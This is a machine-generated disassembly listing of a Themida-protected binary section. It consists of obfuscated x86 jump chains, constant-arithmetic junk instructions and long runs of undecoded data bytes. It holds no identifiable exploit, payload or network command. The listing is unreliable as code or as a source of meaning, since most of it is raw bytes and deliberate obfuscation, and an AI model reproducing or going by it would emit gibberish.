		dw 0AD05h
aHiSM		db 'H^)',7,'M',0
		align 2
		dw 0F781h
		dd 4D282491h, 535FF829h, 0FFE754E9h, 0E68956FFh, 4C681h
		dd 0BA520000h, 4, 875AD629h, 248B2434h,	242C8924h, 4BDh
		dd 0F0BF5700h, 811CC232h, 0BF1CE1E7h, 16F8E947h, 0D0310000h
		dd 58C3815Ah, 8157EF15h, 0F00324EBh, 414FE965h,	4BE0000h
		dd 1000000h, 0C1835EF1h, 240C8702h, 6624248Bh, 8324048Bh
		dd 0E7E904ECh, 57FFFFECh, 0AB2569BFh, 69C78154h, 0E92AE620h
		dd 0FFFFDCCDh, 48D7BB53h, 0DE310EA0h, 81DEF75Bh, 0DF9DF3F6h
		dd 5EF089BEh, 88BF801h,	582434FFh, 8104C483h, 4ECh, 241C8900h
		dd 0C6E95B54h, 81000059h, 7742ABEDh, 84E94553h,	89000058h
		dd 4C681E6h, 0E9000000h, 0FFFFC0A9h
; ---------------------------------------------------------------------------


loc_620A14:				; CODE XREF: Themida_:006280FBj
		shr	edx, 4
		xor	edx, 5097223Ch
		jmp	loc_61E43C
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8B243C87h, 0E9512424h, 0FFFFB994h, 1416368h, 0C1415905h
		dd 0EC8307E9h, 242C8904h, 0F5FD82BDh, 5DE901FFh, 0DEE9C889h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_620A53:				; CODE XREF: Themida_:0061C7FEj
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_624713
; ---------------------------------------------------------------------------
aYwsv		db 'YWv ',0
		dd 0C4835A00h, 68DAF704h, 72Ch,	50242C89h, 0E772D3B8h
		dd 77A8BD13h, 0C529829Bh, 2F63E958h, 4BA0000h, 89000000h
		dd 0F0295AD6h, 4F67E9h,	2434FF00h, 4C4815Ah, 51000000h
		dd 0E3895356h, 4C381h, 0EB810000h, 4, 141EE953h
		db 2 dup(0)
aFlSi8		db 'f$$8',0          ; DATA XREF: Themida_:0061C0E0o
		dw 6800h
		dd 5EC9h, 54240C89h, 0E9240C8Bh, 0B6Eh,	0C181E189h, 4
		dd 8704C183h, 0F75C240Ch, 0FFC781DFh, 81FFFFFFh, 4ECh
		dd 24048900h, 70702B8h,	5285253Eh, 0F0E9748Eh, 51000026h
		dd 805D6DB9h, 7AC1810Eh, 0D17A8D5Fh, 0D1F741E1h, 18E9D9F7h
		dd 0F7FFFFD3h, 0EDEE81DEh, 89EF84BEh, 66E95EF7h, 52000030h
		dd 4BAh, 5AD60100h, 4C01E9h, 4C48100h, 68000000h, 3AA4h
		dd 68241C89h, 4, 4CA9E9h, 0EFE98100h, 145CE30h,	41BA52D9h
		dd 4A21A77Ch, 6B1BF281h, 0F28166E6h, 32FC67FCh,	8707EAC1h
		dd 0D1F749CAh, 0EA81CA87h, 0B9465430h, 148BD101h, 9AE95124h
		dd 0E9FFFFCCh, 0FFFFB687h
; ---------------------------------------------------------------------------


loc_620B98:				; CODE XREF: Themida_:00623CA5j
		sub	ebx, edi
		mov	edi, [esp]
		jmp	loc_622E31
; ---------------------------------------------------------------------------


loc_620BA2:				; CODE XREF: Themida_:0061DEC2j
		mov	[esp], cx
		jmp	loc_61C2E6
; ---------------------------------------------------------------------------
byte_620BAB	db 66h			; DATA XREF: Themida_:0061BF4Co
		dd 6824048Bh, 3BFCh, 0E9241489h, 5B35h,	2C8AB353h, 2909E98Ah
		dd 0CA810000h, 6D645ADFh, 2CB850h, 88E97DA9h, 89FFFFF7h
		dd 0B668241Ch, 5B6B3445h, 0FB77592Dh, 59EB6844h, 0CCE90000h
		dd 83000071h, 0CD8104C4h, 7FD25FC6h, 0B850h, 0E8290000h
		dd 0D85AE995h, 875DFFFFh, 248B243Ch, 24348924h,	0B9515E54h
		dd 4, 1294E9h, 0C83B6600h, 0B5F9E99Ch, 0EC83FFFFh, 24148904h
		dd 90E9E289h, 89FFFFD3h, 58562404h, 2D96465Eh, 7BF2062Fh
		dd 0E73D282Dh, 75A8E9BBh, 0E9550000h, 0FFFFD159h, 0E80FE94Eh
		dd 0E2C1FFFFh, 0F7BF5708h, 3163314Dh, 0EA815FFAh, 68FA78F3h
		dd 815AD589h, 122122EEh, 57EE013Fh, 213D1CBFh, 0EA1AE95Ch
		dd 0EE81FFFFh, 4, 5C243487h, 6C1AE9h, 24248B00h, 8904EC83h
		dd 0E950241Ch, 387Ch, 8124148Bh, 4C4h, 84E95800h, 33000066h
		dd 815C241Ch, 4C6h, 2C68100h, 56000000h, 42474FFh, 24048F5Eh
		dd 0FFE386E9h, 9DBB53FFh, 0F7255B5Bh, 81DBF7D3h, 834341E3h
		dd 20CEE932h, 0D8300000h, 686E9h, 0CFC28100h, 0C109CC3Ch
		dd 0F28102E2h, 4B54BAC0h, 0FFCB4AE9h, 0F7C380FFh, 7466E9h
		dd 240CD200h, 0B515E99Ch, 0C121FFFFh, 582434FFh, 4904C483h
		dd 30B3E9h, 0A9E95000h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_620D1F:				; CODE XREF: Themida_:0061D40Bj
		pop	esi
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_623C01
; ---------------------------------------------------------------------------
aLSE		db '$$^E',0
		align 2
		dw 0E089h
		dd 405h, 42D00h, 4870000h, 24248B24h, 0E9243489h, 6CFh
; ---------------------------------------------------------------------------


loc_620D5C:				; CODE XREF: Themida_:00622526j
		shl	edx, 1
		push	480Ah
		mov	[esp], edx
		jmp	loc_6275DB
; ---------------------------------------------------------------------------
		db 87h
		dd 895C240Ch, 74FF242Ch, 2C8B0424h, 5D545524h, 4C581h
		dd 40E90000h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_620D87:				; CODE XREF: Themida_:00622E87j
		mov	ebx, 7ED75C5Dh
		mov	esi, ebx
		pop	ebx
		add	esi, 8128A3A7h
		add	ecx, esi
		pop	esi
		push	eax
		mov	eax, 7FD67A6Bh
		jmp	loc_624362
; ---------------------------------------------------------------------------
byte_620DA3	db 0FFh			; DATA XREF: Themida_:0061C014o
		dd 34FF2434h, 37B2E924h
		db 2 dup(0)
word_620DAE	dw 0E9ADh		; DATA XREF: Themida_:0061BFD0o
		dd 0FFFFD182h, 89242C89h, 0BA5250E5h, 0BCF4F77h, 3A7DE9h
		dd 3FC68000h, 5AF328h, 0DA33E9C3h, 0E2D1FFFFh, 4EC8152h
		dd 89000000h, 4768242Ch, 8B40834Fh, 0C483242Ch,	0C70DE904h
		dd 2FBBFFFFh, 0C17D841Ch, 0F38103EBh, 464B274Ch, 5D67E381h
		dd 0E3C144F2h, 7FF38103h, 8114B209h, 0DDD48DC3h, 8BD929ECh
		dd 0C483241Ch, 240C8704h, 5D7E9h, 79673500h, 0C3891F3Ch
		dd 0FFEA3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_620E2D:				; CODE XREF: Themida_:00622D81j
		sub	ebx, 4475300Ch
		jmp	loc_623073
; ---------------------------------------------------------------------------


loc_620E38:				; CODE XREF: Themida_:00627D3Cj
		mov	eax, 24h
		push	edx
		mov	edx, 167165C8h
		add	eax, edx
		pop	edx
		add	eax, edi
		sub	eax, 167165C8h
		jmp	loc_6216CC
; ---------------------------------------------------------------------------
		dw 5EB6h
		dd 0B3E9F6B7h, 0C1FFFFF0h, 0E98107E9h, 67FCB9h,	74E9CD01h
		dd 89FFFFD9h, 4E9243Ch,	52000050h, 0FFC75AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_620E79:				; CODE XREF: Themida_:00628155j
		sub	edi, 35C02C77h
		dec	edi
		sub	edi, 9012CB25h
		sub	eax, edi
		pop	edi
		add	eax, edi
		jmp	loc_624CF3
; ---------------------------------------------------------------------------
		dd 0EABD5553h, 4D38783Dh, 7AA0F581h, 5057222Eh,	1451E9h
		dd 0BEE95E00h, 3300002Fh, 0A8E92414h, 56000028h, 4028E9h
		dd 4C48100h, 87000000h,	67E9240Ch
		db 8, 2	dup(0)
byte_620EC7	db 66h			; DATA XREF: Themida_:0061C15Co
		dd 83240C8Bh, 348904ECh, 348B5424h, 0FF545324h,	835B2434h
		dd 0C38104C4h, 4, 3304C383h, 1C31241Ch,	0FDB9E924h, 0C483FFFFh
		dd 218D0504h, 0DB352388h, 5329594Ch, 368CE9h, 0B315E900h
		dd 4B8FFFFh, 1000000h, 0C18158C1h, 4, 2D68E9h
		db 0
; ---------------------------------------------------------------------------


loc_620F1D:				; CODE XREF: Themida_:0062037Ej
		mov	ecx, 233E3809h
		add	ecx, 39D1140Ch
		add	ecx, 60E60F8Dh
		jmp	loc_620020
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E924048Fh, 2F5Fh
; ---------------------------------------------------------------------------


loc_620F3C:				; CODE XREF: Themida_:006262A0j
		push	65A2h
		mov	[esp], ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_622FDC
; ---------------------------------------------------------------------------


loc_620F5B:				; CODE XREF: Themida_:006240A1j
		push	ecx
		mov	ecx, 43BC2C4Eh
		jmp	loc_624F44
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 31D0F795h, 31E831C5h, 0F5814DC5h,	0D79147A2h, 3CE9E929h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_620F83:				; CODE XREF: Themida_:00626530j
		xor	dword ptr [esp], 3AB662FEh
		mov	ecx, [esp]
		jmp	loc_61F3A3
; ---------------------------------------------------------------------------
word_620F92	dw 34FFh		; DATA XREF: Themida_:0061BF40o
		dd 2434FF24h, 83240C8Bh, 0C48304C4h, 58545004h,	405h, 4685100h
		dd 8B000000h, 0D1E9240Ch, 4, 0D30059CBh, 0F671B050h, 0C09334D0h
		dd 7A3405E0h, 48BC328h,	4C48324h, 8324148Bh, 685104C4h
		dd 8773235h, 0F676E959h, 0D301FFFFh, 4CA5E95Ah,	74BE0000h
		dd 1338D65h, 0F3815EF3h, 0F3956576h, 89DD8955h,	895B5DEFh
		dd 0DE015FFBh, 0E92434FFh, 0FFFFCB62h, 44C18166h, 6122E9C5h
		dd 0B0500000h, 24F92C03h, 0D39BE918h, 0E95BFFFFh, 9F0h
		dd 65C3E955h, 14890000h, 8017B224h, 0D50047C2h,	8EDC05Ah
		dd 4DEED80h, 66E800A0h,	4A0B353h, 0E9D82894h, 4E55h, 994D0540h
		dd 3BE91BC9h, 5C00006Eh, 4895E9h, 25056600h, 4EE9593Dh
		dd 87000003h, 5B5C240Ch, 2C181h, 0C870000h, 24248B24h
		dd 4BB0F66h, 98E99C24h,	2DFFFFB1h, 4, 5C240487h, 0B4240489h
		dd 6871E988h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62109A:				; CODE XREF: Themida_:00622C85j
		xor	edi, 16C138DBh
		jmp	loc_623022
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0BFE92434h, 5D000049h, 81DBF74Bh,	675395F3h
		dd 3CEB810Fh, 215882A4h, 0F5815BDDh, 73F81390h,	0FFE9EB29h
		dd 5DFFFFBBh, 31243C33h, 3C33243Ch, 24248B24h, 0FFE611E9h
		dd 2C8B5DFFh, 0D971E924h, 0ED81FFFFh, 6D5111F9h, 3E54ED81h
		dd 58E93377h, 8B00004Ah, 89662424h, 0F66240Ch, 5166C8B6h
		dd 0B10DE99Ch, 0FF51FFFFh, 59042474h, 0E924048Fh, 61C7h
; ---------------------------------------------------------------------------


loc_621120:				; CODE XREF: Themida_:0062666Dj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1A172C81h
		or	eax, 35F25436h
		jmp	loc_626470
; ---------------------------------------------------------------------------
aT0Sqh		db '0H',0
		dd 0F9BA5200h, 817A9C51h, 0B50305F2h, 0DAF74A2Bh, 8C68C281h
		dd 0D109C980h, 20C9815Ah, 8102F812h, 255D9DE9h,	5C18164h
		dd 0E9651D66h, 0FFFFBDC8h
dword_621170	dd 55242C87h, 711C68h, 240C8900h, 0FFDD1AE9h, 92C781FFh
					; DATA XREF: Themida_:0061BFD4o
		dd 0FF5DE84Eh, 835D2434h, 0E95504C4h, 42C0h, 4C48159h
		dd 0E9000000h, 0FFFFC5C3h, 0E95DEA31h, 6912h, 53C73535h
		dd 58C7016Fh, 0FFEB96E9h, 797E68FFh, 2C890000h,	3F4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6211C2:				; CODE XREF: Themida_:00622DDEj
		push	edx
		push	esi
		push	edi
		mov	edi, 4
		mov	esi, edi
		pop	edi
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	esi, edx
		pop	edx
		push	ebp
		push	ecx
		mov	ecx, 0FC095Eh
		jmp	loc_6254A3
; ---------------------------------------------------------------------------
dword_6211E4	dd 9C241CF6h, 0FFB032E9h		db 0FFh
; ---------------------------------------------------------------------------


loc_6211ED:				; CODE XREF: Themida_:006278EFj
		mov	esi, 630F019Eh
		add	esi, eax
		pop	eax
		xor	esi, 44D117EBh
		xor	esi, eax
		push	dword ptr [esp]
		pop	eax
		push	esi
		jmp	loc_62591B
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA2414h, 1000000h, 5A042454h, 0FFB457E9h, 1B9ABFFFh
		dd 0F78118B2h, 3EE51CBBh, 2F8BE9h, 4C48300h, 4C82E9h, 57416800h
		dd 0C890000h, 36E76824h, 0EFE90000h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_621243:				; CODE XREF: Themida_:006218EFj
		sub	al, 0FFh
		neg	al
		sub	al, 0EAh
		push	ecx
		mov	ch, al
		mov	dh, ch
		jmp	loc_6213D7
; ---------------------------------------------------------------------------
		db 0B9h
		dd 6D56EDD6h, 0C8BC801h, 4C48124h, 1000000h, 5EDE9C2h
		dd 0C1810000h, 0C514D867h, 3559C829h, 6CCCAF50h, 0E958C701h
		dd 0FFFFCC2Eh
; ---------------------------------------------------------------------------


loc_621280:				; CODE XREF: Themida_:006258DBj
		sub	ecx, 0FFFFFFFFh
		add	ecx, 50F93578h
		jmp	loc_623255
; ---------------------------------------------------------------------------


loc_62128E:				; CODE XREF: Themida_:006239E9j
		add	ebx, esi
		pop	esi
		push	4D62h
		mov	[esp], edi
		push	7992583Dh
		pop	edi
		or	ebx, edi
		mov	edi, [esp]
		jmp	loc_6283DB
; ---------------------------------------------------------------------------
		db 58h,	4Eh, 83h
		dd 0E681FFEEh, 0ED15F14h, 318AE9h, 2C0E6800h, 4890000h
		dd 0A1E95424h, 8300003Eh, 2C8704C5h, 48F5C24h, 24248B24h
		dd 2404FF66h, 0AF41E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6212DE:				; CODE XREF: Themida_:00626F18j
		mov	esi, edx
		pop	edx
		sub	ebp, 57827B14h
		add	ebp, esi
		add	ebp, 57827B14h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_6268DB
; ---------------------------------------------------------------------------


loc_6212F8:				; CODE XREF: Themida_:00622244j
		mov	[esp], edi
		push	edx
		jmp	loc_62835B
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0DEh
		dd 8154C437h, 41159EE9h, 0E9EFE92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_621312:				; CODE XREF: Themida_:006208DEj
		xor	dl, 0A0h
		sub	bl, 0A3h
		sub	bl, dl
		add	bl, 0A3h
		pop	edx
		jmp	loc_61F9AA
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFAEF7h, 4C2835Dh, 5C241487h, 0E9C8B60Fh,	0FFFFCC42h
		dd 7417BF57h, 0D7F70036h, 0D0DBB53h, 0DF2915E7h, 0CC39E95Bh
		dd 0C781FFFFh, 4, 571EBB53h, 0E381453Eh, 3CD04F6Ch, 7FCCB81h
		dd 18E97C58h, 53FFFFF0h, 3AB25250h, 245AD088h, 0C0950408h
		dd 0E80408E0h, 48BC788h, 4C48324h, 0E902EFC0h, 0
aFrSd_		db 'fR^d_',0
		dd 0CE95500h, 51000064h, 0BD55E189h, 6BBC1EF6h,	5507E5C1h
		dd 5D2414F7h, 4DE8F581h, 50532288h, 0FFDA66E9h,	232D66FFh
		dd 0E8016623h, 23230566h, 70BE0566h, 242C8B66h,	2C481h
		dd 17E90000h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6213D7:				; CODE XREF: Themida_:0062124Ej
		pop	ecx
		pop	eax
		shr	dh, 8
		shl	dh, 6
		inc	dh
		add	dh, 37h
		add	bl, dh
		pop	edx
		movzx	eax, al
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_628696
; ---------------------------------------------------------------------------
		dd 2404895Ch, 5066F1B4h, 12454F6h, 0B3535866h, 5BDC2857h
		dd 28C7C380h, 0C7EB80E3h, 82B45058h, 0E958E328h, 0FFFFDD0Fh
		dd 4253548h, 18E90470h,	54FFFFAFh, 46B2E9h, 9BE95B00h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_621437:				; CODE XREF: Themida_:0061FFB8j
		sub	ebx, 0FC63C0B4h
		or	ebx, 0DD11F13h
		neg	ebx
		shr	ebx, 8
		not	ebx
		xor	ebx, 0EB73F84Dh
		xor	ecx, ebx
		jmp	loc_61E83C
; ---------------------------------------------------------------------------


loc_621457:				; CODE XREF: Themida_:0061D304j
		sub	ebp, 19EC000Ah
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	edx
		jmp	loc_627E31
; ---------------------------------------------------------------------------
		db 87h
		dd 665C243Ch, 0E9240C89h, 0FFFFAD97h, 81E28952h, 4C2h
		dd 4C28300h, 5C241487h,	0E959C801h, 0FFFFE8CCh,	0FFAD7AE9h
		dd 4EAC1FFh, 3FB3EA81h,	4E97A39h, 5BFFFFDCh, 3C4E9h
		db 0
byte_6214B9	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0061BFB8o
		dd 1058669Dh, 0E99C2404h, 0FFFFAD57h
; ---------------------------------------------------------------------------


loc_6214C8:				; CODE XREF: Themida_:006242EFj
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_61D890
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 4C58100h, 68000000h, 6E24h, 0FF242C89h, 5D042474h
		dd 8B24048Fh, 89572424h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 4275685Ch, 42E90000h, 29FFFFB2h, 2C381FBh, 5F3F3544h
		dd 0E9008F66h, 4BD4h, 0E39DE95Eh, 0EF80FFFFh, 8EFC00Bh
		dd 0EFC0D7F6h, 0B1F78005h, 0E95BFE88h, 0FFFFF37Fh, 7010D7BAh
		dd 3160BD70h, 0D529E924h, 0E924148Bh, 0FFFFFA16h, 74FE91BBh
		dd 5BDF0195h, 24AE9h, 8BF92900h, 0C481243Ch, 4,	8759CF29h
		dd 895C243Ch, 0E968241Ch, 8900003Ah, 34FF2404h,	241C8B24h
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 515C243Ch, 1C18E954h
		dd 8B660000h, 0A8E9242Ch, 8B000066h, 81E9240Ch,	81FFFFEFh
		dd 8A4788EFh, 0F55E973h, 0C9680000h, 89000077h,	4812424h
		dd 424h, 0C5815D00h, 4,	4C581h,	2C330000h, 242C3124h, 8B242C33h
		dd 0C80F2424h, 431568h,	24048900h, 0FFAC32E9h, 4C481FFh
		dd 52000000h, 42474FFh,	0AF5AE95Ah, 489FFFFh, 0EA21E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_621606:				; CODE XREF: Themida_:00626AE0j
		mov	eax, edi
		jmp	loc_627A2B
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5E000000h, 0FFAC06E9h, 0E9E689FFh, 646Dh, 6624248Bh
		dd 9C242CD3h, 0FFABF2E9h, 93BE56FFh, 2972886Bh,	835F5EF3h
		dd 1C8702C3h, 67E95C24h, 29000063h, 0F75D242Ch,	0EB44E9DDh
		dd 0C483FFFFh, 0CF3AE904h, 487FFFFh, 5C36E924h,	0C6810000h
		dd 0B812ABAEh, 315EF789h, 2434FFD7h, 5A2434FFh,	8304C483h
		dd 0F82904C4h, 83243C8Bh, 0E95504C4h, 237h, 0EC835966h
		dd 2C896602h, 74FF6624h, 3E90224h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_621697:				; CODE XREF: Themida_:00627546j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_6282BA
; ---------------------------------------------------------------------------
		dw 3487h
		dd 90E95C24h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6216AB:				; CODE XREF: Themida_:0061C8CAj
		pop	eax
		and	ecx, edx
		jmp	loc_61C643
; ---------------------------------------------------------------------------
		db 89h
		dd 89522404h, 4C281E2h,	0E9000000h, 0FFFFCEBEh,	0E95BD901h
		dd 6D43h
; ---------------------------------------------------------------------------


loc_6216CC:				; CODE XREF: Themida_:00620E4Dj
		push	edx
		mov	edx, 0
		add	edx, eax
		jmp	loc_61F883
; ---------------------------------------------------------------------------
		db 0B8h, 0F3h, 5Ah
		dd 84BF114Ch, 0E950110Dh, 3FEAh, 57241C89h, 35471BFh, 8E7C137h
		dd 0FFB429E9h, 4C381FFh, 50000000h, 4B8h, 1BEB8100h, 0E9642E65h
		dd 4638h, 0D5718B2Dh, 3FDFE979h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62171A:				; CODE XREF: Themida_:00625513j
		mov	[esp], eax
		push	edi
		mov	edi, 60336684h
		sub	edi, 0FFFFFFFFh
		jmp	loc_6278E0
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 242CD224h, 0AAE5E99Ch
		db 2 dup(0FFh)
word_62173A	dw 74FFh		; DATA XREF: Themida_:0061C1C4o
		dd 34FF0424h, 24048B24h, 4C481h, 54500000h, 3EC1E958h
		dd 815F0000h, 4C4h, 4C78100h, 0E9000000h, 4DF0h
; ---------------------------------------------------------------------------


loc_621764:				; CODE XREF: Themida_:00624633j
		push	edi
		mov	edi, 7E5E1D3Eh
		or	edi, 72E06919h
		add	edi, 810182C5h
		jmp	loc_6237CE
; ---------------------------------------------------------------------------


loc_62177B:				; CODE XREF: Themida_:00620802j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esi, 4
		jmp	loc_61E197
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0F3h
		dd 4F3E7123h, 0E2FE9h, 2EDC100h, 0DADAF581h, 0DFE9170Eh
		dd 1000015h, 3BEAE9F8h,	0BA520000h, 3D414D44h, 815AD601h
		dd 1B2592C6h, 81DE2961h, 1B2592EEh, 0DABD5561h,	0C171132Bh
		dd 814D08EDh, 7B5206F5h, 15E5811Ah, 81496F69h, 0BC6DC1CDh
		dd 81ED813Ch, 29FF7D20h, 1C8B5DEEh, 4C48124h, 81000000h
		dd 0D879E4EEh, 68C60151h, 1B58h, 0B9240C89h, 51D879E4h
		dd 2D30EE81h, 0CE0144D2h, 6880B951h, 0D9F73DD2h, 0AFC18141h
		dd 182A495h, 815959CEh,	152063C6h, 136C683Bh, 14890000h
		dd 70CA6824h, 92E92304h, 87000011h, 895C2414h, 0E6892434h
		dd 4C681h, 0C6830000h, 74FF5604h, 89E90424h, 8B00006Ah
		dd 0C4832404h, 0CA7FE904h
		db 2 dup(0FFh)
word_621862	dw 8B66h		; DATA XREF: Themida_:0061BFF0o
		dd 0E9532404h, 0FFFFE9DDh
dword_62186C	dd 24048B66h, 1C8B5453h, 4C48324h, 0E25E9h, 0EDE95600h
					; DATA XREF: Themida_:0061C154o
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_621883:				; CODE XREF: Themida_:0061E45Bj
		push	ebx
		mov	ebx, 3759DB39h
		sub	edx, ebx
		jmp	loc_62498F
; ---------------------------------------------------------------------------
		dd 8BE9095Bh, 0C481242Ch, 4, 7E6BD55h, 0E9215EF9h, 1663E9h
		db 0
byte_6218A9	db 66h,	8Bh, 4		; DATA XREF: Themida_:0061C1ACo
		dd 5A545224h, 1C40E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6218B6:				; CODE XREF: Themida_:00623711j
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
aQsh		db 'QSh',0
		dd 4B5B047Dh, 4170F381h, 0D9893E6Bh, 8A5E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6218D2:				; CODE XREF: Themida_:00626486j
		add	edx, edi
		jmp	loc_627507
; ---------------------------------------------------------------------------
		db 89h,	0EBh, 8Bh
		dd 0C481242Ch, 4, 0E908EBC1h, 3C57h
; ---------------------------------------------------------------------------


loc_6218EC:				; CODE XREF: Themida_:00626002j
		and	al, cl
		pop	ecx
		jmp	loc_621243
; ---------------------------------------------------------------------------
		dd 269268h, 34CE900h, 51530000h, 0B11297B9h, 0E1C14935h
		dd 0CBF18108h, 0C12BA83Eh, 0F18104E1h, 0ABAA8CB4h, 0CE895650h
		dd 575EF089h, 0FFC43AE9h, 815E54FFh, 4C6h, 4EC8300h, 6BD2E9h
		dd 4EC8100h, 0E9000000h, 0FFFFBFD9h
; ---------------------------------------------------------------------------


loc_621940:				; CODE XREF: Themida_:0061D05Cj
		pop	ecx
		pop	edx
		pop	edi
		sub	esp, 4
		jmp	loc_6277BC
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C58108EDh, 0FF7FFE82h, 0E95DEF01h, 4EAEh, 0F3E9C5FEh
		dd 59000005h, 3302C283h, 14312414h, 24143324h, 0E924248Bh
		dd 0FFFFF389h, 5E13EA81h, 0EA812AD5h, 14005AE1h, 0C281EA01h
		dd 14005AE1h, 4B46E9h, 80D32800h, 5A5A0CC3h, 0EC81C328h
		dd 4, 0B2241489h, 5AD300B6h, 66C0B60Fh,	6824148Bh, 2D46h
		dd 0FFE5BCE9h, 738368FFh, 8F540000h, 4812404h, 424h, 24348B00h
		dd 5704C483h, 1FC96855h, 0F75D56CEh, 81DDF7D5h,	0CE1FCEF5h
		dd 0EE895656h, 5D5EF789h, 85E9FE01h, 0FF000015h, 9DE92434h
		dd 8BFFFFCEh, 0C481241Ch, 4, 1615E9h, 242C8900h, 7C05B4BDh
		dd 22BB533Eh, 0E901C562h, 6956h, 0E9243487h, 0FFFFA840h
; ---------------------------------------------------------------------------


loc_621A20:				; CODE XREF: Themida_:00626B32j
		add	dword ptr [esp+4], 2CAC048Bh
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_6246BD
; ---------------------------------------------------------------------------


loc_621A3A:				; CODE XREF: Themida_:00624DF1j
		push	0FEAh
		mov	[esp], esi
		jmp	loc_623233
; ---------------------------------------------------------------------------
		db 31h
		dd 31D931CBh, 0C5ECE9CBh, 1C87FFFFh, 24248B24h,	0B8242C81h
		dd 168A953h, 0ACE92404h
		db 0BAh, 2 dup(0FFh)
aMs		db '="',0             ; DATA XREF: Themida_:0061BFD8o
		dd 0E9008F00h, 0FFFFA7ABh, 0FFA7A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_621A79:				; CODE XREF: Themida_:00627F09j
		sub	eax, 0DB7CE22Bh
		add	edx, eax
		jmp	loc_622008
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4E9h, 240C8700h, 0E924248Bh, 0FFFFE611h
		dd 2C8BEF31h, 4C48124h,	0E9000000h, 0FFFFD61Eh,	4C481h
		dd 57580000h, 75966850h, 52580916h, 15CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_621AC1:				; CODE XREF: Themida_:0061D180j
		pop	esp
		push	90Fh
		mov	[esp], esi
		jmp	loc_626295
; ---------------------------------------------------------------------------
		db 1
		db '[h',0Ah,0
		dw 8900h
		dd 74FF242Ch, 99E90424h, 31FFFFC6h, 5BE95AD0h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_621AEB:				; CODE XREF: Themida_:0061DDA4j
		pop	ebp
		sub	edx, 6BE63B0Bh
		sub	edx, ebx
		jmp	loc_6280F1
; ---------------------------------------------------------------------------
		db 1, 0D1h, 5Ah
		dd 5102E983h, 42474FFh,	0FFA9F2E9h, 5BF381FFh, 2DAAF96Bh
		dd 4A984CAFh, 0AF05D801h, 5B4A984Ch, 0FFF1E9E9h, 89505CFFh
		dd 773068E0h, 0C890000h, 5FC9E924h, 0C2810000h,	675239F8h
		dd 1EE9D301h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_621B3F:				; CODE XREF: Themida_:00625880j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, 0B4C7F16Eh
		add	edi, ecx
		pop	ecx
		jmp	loc_61D289
; ---------------------------------------------------------------------------
		dd 34FFD508h, 0C4815A24h, 4, 8045F580h,	0DDF6FFC5h, 8302EDC0h
		dd 896602ECh, 0F2E92414h, 42000063h, 5E2C142h, 0BE56D2F7h
		dd 7B573ADBh, 0D6DE9h, 241C3300h, 0FF24248Bh, 0D2E92434h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_621B9F:				; CODE XREF: Themida_:0061E800j
		and	[esp], eax
		pushf
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		dd 4C3815Ch, 83000000h,	0B3E904C3h, 55000042h, 0B24C32BDh
		dd 3481550Ah, 74315A24h, 0F1815909h, 974315Ah, 658E9h
		db 0
